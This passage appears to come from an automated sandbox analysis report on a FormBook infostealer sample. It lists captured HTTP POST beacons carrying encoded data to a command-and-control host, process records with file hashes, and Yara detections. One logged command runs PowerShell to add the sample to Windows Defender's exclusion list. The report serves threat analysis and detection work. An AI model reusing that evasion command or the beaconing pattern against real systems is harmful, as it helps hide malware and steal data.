38 32 70 65 42 4c 6a 35 35 42 6e 78 72 45 52 43 41 5a 59 4a 33 69 4b 61 53 56 64 52 76 79 58 2b 50 54 44 56 78 64 74 48 61 42 66 36 63 31 62 32 48 34 71 51 6c 58 50 50 34 47 77 46 41 4c 79 6d 6a 4e 39 66 78 64 4f 62 65 33 47 30 50 50 6b 50 43 62 54 65 44 30 6f 33 49 65 4f 72 54 4e 57 48 44 71 4a 64 53 69 77 78 48 31 51 4b 6c 48 7a Data Ascii: 8T2hn=9fTG7T7D5sAG1oUFhrGJ89VS+UaImzfP9f95CQLTo6bKSE2xwwjCBCWCylCssYZxN6NLEXWOoGAfo82peBLj55BnxrERCAZYJ3iKaSVdRvyX+PTDVxdtHaBf6c1b2H4qQlXPP4GwFALymjN9fxdObe3G0PPkPCbTeD0o3IeOrTNWHDqJdSiwxH1QKlHz
Oct 9, 2024 14:02:57.355895042 CEST	980	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:02:57 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49994	199.192.21.169	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:59.311409950 CEST	790	OUT	POST /30rz/ HTTP/1.1 Host: www.tophm.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.tophm.xyz Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 218 Cache-Control: no-cache Referer: http://www.tophm.xyz/30rz/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 39 66 54 47 37 54 37 44 35 73 41 47 33 49 6b 46 6a 4b 47 4a 30 39 56 56 78 30 61 49 78 6a 65 45 39 66 68 35 43 52 2f 44 6f 50 44 4b 52 6d 75 78 7a 78 6a 43 47 43 57 43 39 46 43 70 78 49 5a 32 4e 36 4a 35 45 57 47 4f 6f 43 51 66 6f 34 79 70 66 79 6a 67 34 70 42 6c 36 4c 45 58 64 77 5a 59 4a 33 69 4b 61 53 42 33 52 76 36 58 2b 65 6a 44 61 77 63 37 4b 36 42 41 74 73 31 62 67 33 35 68 51 6c 58 35 50 35 61 61 46 44 6a 79 6d 6d 78 39 65 6c 42 4e 55 65 33 41 34 66 4f 59 65 58 47 78 54 52 6f 6a 77 72 2f 71 71 51 35 7a 45 69 4b 58 4d 67 72 72 6b 51 31 33 4e 43 4f 62 45 70 63 4d 4b 4c 31 54 7a 52 77 46 66 75 44 4e 4b 56 4e 51 6e 51 3d 3d Data Ascii: 8T2hn=9fTG7T7D5sAG3IkFjKGJ09VVx0aIxjeE9fh5CR/DoPDKRmuxzxjCGCWC9FCpxIZ2N6J5EWGOoCQfo4ypfyjg4pBl6LEXdwZYJ3iKaSB3Rv6X+ejDawc7K6BAts1bg35hQlX5P5aaFDjymmx9elBNUe3A4fOYeXGxTRojwr/qqQ5zEiKXMgrrkQ13NCObEpcMKL1TzRwFfuDNKVNQnQ==
Oct 9, 2024 14:02:59.899641991 CEST	980	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:02:59 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49995	199.192.21.169	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:03:01.862705946 CEST	1803	OUT	POST /30rz/ HTTP/1.1 Host: www.tophm.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.tophm.xyz Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 1230 Cache-Control: no-cache Referer: http://www.tophm.xyz/30rz/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 39 66 54 47 37 54 37 44 35 73 41 47 33 49 6b 46 6a 4b 47 4a 30 39 56 56 78 30 61 49 78 6a 65 45 39 66 68 35 43 52 2f 44 6f 50 4c 4b 52 54 79 78 77 53 37 43 48 43 57 43 77 6c 43 6f 78 49 5a 72 4e 2b 64 39 45 54 66 37 6f 41 59 66 71 64 6d 70 50 54 6a 67 68 35 42 6c 31 72 45 57 43 41 5a 42 4a 33 53 4f 61 53 52 33 52 76 36 58 2b 63 37 44 54 42 63 37 49 36 42 66 36 63 31 66 32 48 35 4a 51 6c 4f 4d 50 35 75 67 45 7a 44 79 6e 47 42 39 53 77 64 4e 4c 75 33 43 37 66 4f 41 65 58 43 48 54 52 30 6e 77 71 4b 2f 71 51 42 7a 48 58 7a 67 58 67 6a 6b 35 77 46 55 45 43 61 51 4c 2b 45 4d 53 71 34 42 75 7a 5a 67 45 73 65 6a 4f 68 4d 39 79 65 57 62 39 33 39 56 59 4e 35 66 73 46 74 58 33 4f 31 7a 65 69 64 55 7a 32 7a 77 78 58 4f 4b 36 54 47 32 4c 33 73 42 48 4e 4f 72 78 31 78 6e 4a 6a 78 39 4d 33 64 64 6e 57 58 57 31 45 30 4c 68 69 48 55 74 58 59 36 51 2b 45 2b 49 62 6e 48 55 58 35 67 30 48 42 43 67 77 38 57 30 79 61 42 73 35 33 77 37 55 30 43 47 63 49 47 44 45 47 6b 6e 64 30 61 62 4e 4b 73 44 6c 70 64 [TRUNCATED] Data Ascii: 8T2hn=9fTG7T7D5sAG3IkFjKGJ09VVx0aIxjeE9fh5CR/DoPLKRTyxwS7CHCWCwlCoxIZrN+d9ETf7oAYfqdmpPTjgh5Bl1rEWCAZBJ3SOaSR3Rv6X+c7DTBc7I6Bf6c1f2H5JQlOMP5ugEzDynGB9SwdNLu3C7fOAeXCHTR0nwqK/qQBzHXzgXgjk5wFUECaQL+EMSq4BuzZgEsejOhM9yeWb939VYN5fsFtX3O1zeidUz2zwxXOK6TG2L3sBHNOrx1xnJjx9M3ddnWXW1E0LhiHUtXY6Q+E+IbnHUX5g0HBCgw8W0yaBs53w7U0CGcIGDEGknd0abNKsDlpdYLaDqQVDGJfyAHe0/ZGvUwScjl6X49r4w33i6J1dbEglauCv74XPrJuhi9JsszWqL8EJXMZUZNzb/7h3f26EyrCz8n21OhfW0XTtxOGo2aAtrd3RDx25LBFxbwGW7dd/FWPDUWn1NPkEZVOiDKnJ9dXTxoBxYAIoYcfIiSF/Xw0N/4DdWnzmPh6J40BI7AY+wiH9fN4ayrLrQGdGeu4wLNKNG7XTYbV6Cu/l2MHe4AzboE0p48S2HUlRsdMfUd02d1PrOY9NF8AEqLazO0tPlEvjMcUGemEGAsNdo9jD/DSUFF5sfYIPTplsY+uLVVkK5h6XI6T0nPkq7N/u7A9NgVj8EIAq0yNX4J9SG2xhXN03diT+78u6CaEhUeldneezy9oEL3M9DGsoBENADjrz1X8u6BI7NDMMrqU6bfv+hwE4OanT7WX2s+mpEOCknzTnXRBjCB3NsGLqG4px/GUhyJo1qyL3AUet/tBNCoKwyprHr/1dNXwZ41TNcW/9ZxUxdVnta7ftoV+13h1Z3+cb2M+0eNGS8iwNgB+GaiHvz6GbDEppGNpbDSbQ0e1sQ1EZxWQkzjf7pUfRdfGNYDTElgkZf8us72RKrMEAp0U31InFXKJSh2B/G/tWV52YSmB5sY5/PUE6WCElh9BKQtgeMu6KwrD6PFroC1 [TRUNCATED]
Oct 9, 2024 14:03:02.522177935 CEST	980	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:03:02 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.9	49996	199.192.21.169	80

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:03:04.979829073 CEST	509	OUT	GET /30rz/?wZBh=UzoT8ph&8T2hn=wd7m4mq4h41P+rN28pyT+ttY7GHVuAvuqtpnERraqOjaWWvMpBvRQDu/0Ra1ptpTEf0KGGfWsjsqje2uOEmu4OBI5eYxRB5JEme+Ix16OOjxqM3SMw== HTTP/1.1 Host: www.tophm.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Oct 9, 2024 14:03:05.563469887 CEST	995	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:03:05 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Target ID:	0
Start time:	08:00:57
Start date:	09/10/2024
Path:	C:\Users\user\Desktop\NU1aAbSmCr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NU1aAbSmCr.exe"
Imagebase:	0x610000
File size:	694'784 bytes
MD5 hash:	519B9A9E52AA6E23736F01AFA4001654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	08:00:58
Start date:	09/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NU1aAbSmCr.exe"
Imagebase:	0x370000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	08:00:58
Start date:	09/10/2024
Path:	C:\Users\user\Desktop\NU1aAbSmCr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NU1aAbSmCr.exe"
Imagebase:	0xb20000
File size:	694'784 bytes
MD5 hash:	519B9A9E52AA6E23736F01AFA4001654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1824100351.0000000003450000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1824100351.0000000003450000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1821048829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1821048829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1822625318.0000000001950000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1822625318.0000000001950000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	5
Start time:	08:00:58
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	08:01:02
Start date:	09/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff72d8c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	08:01:38
Start date:	09/10/2024
Path:	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe"
Imagebase:	0x50000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2580938292.0000000002D40000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2580938292.0000000002D40000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	08:01:40
Start date:	09/10/2024
Path:	C:\Windows\SysWOW64\NETSTAT.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\NETSTAT.EXE"
Imagebase:	0x5f0000
File size:	32'768 bytes
MD5 hash:	9DB170ED520A6DD57B5AC92EC537368A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2580801626.00000000034E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2580801626.00000000034E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2581282687.0000000003610000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2581282687.0000000003610000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2578681040.0000000003040000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2578681040.0000000003040000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	14
Start time:	08:01:52
Start date:	09/10/2024
Path:	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe"
Imagebase:	0x50000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.2583578419.00000000049B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.2583578419.00000000049B0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	15
Start time:	08:02:04
Start date:	09/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff73feb0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true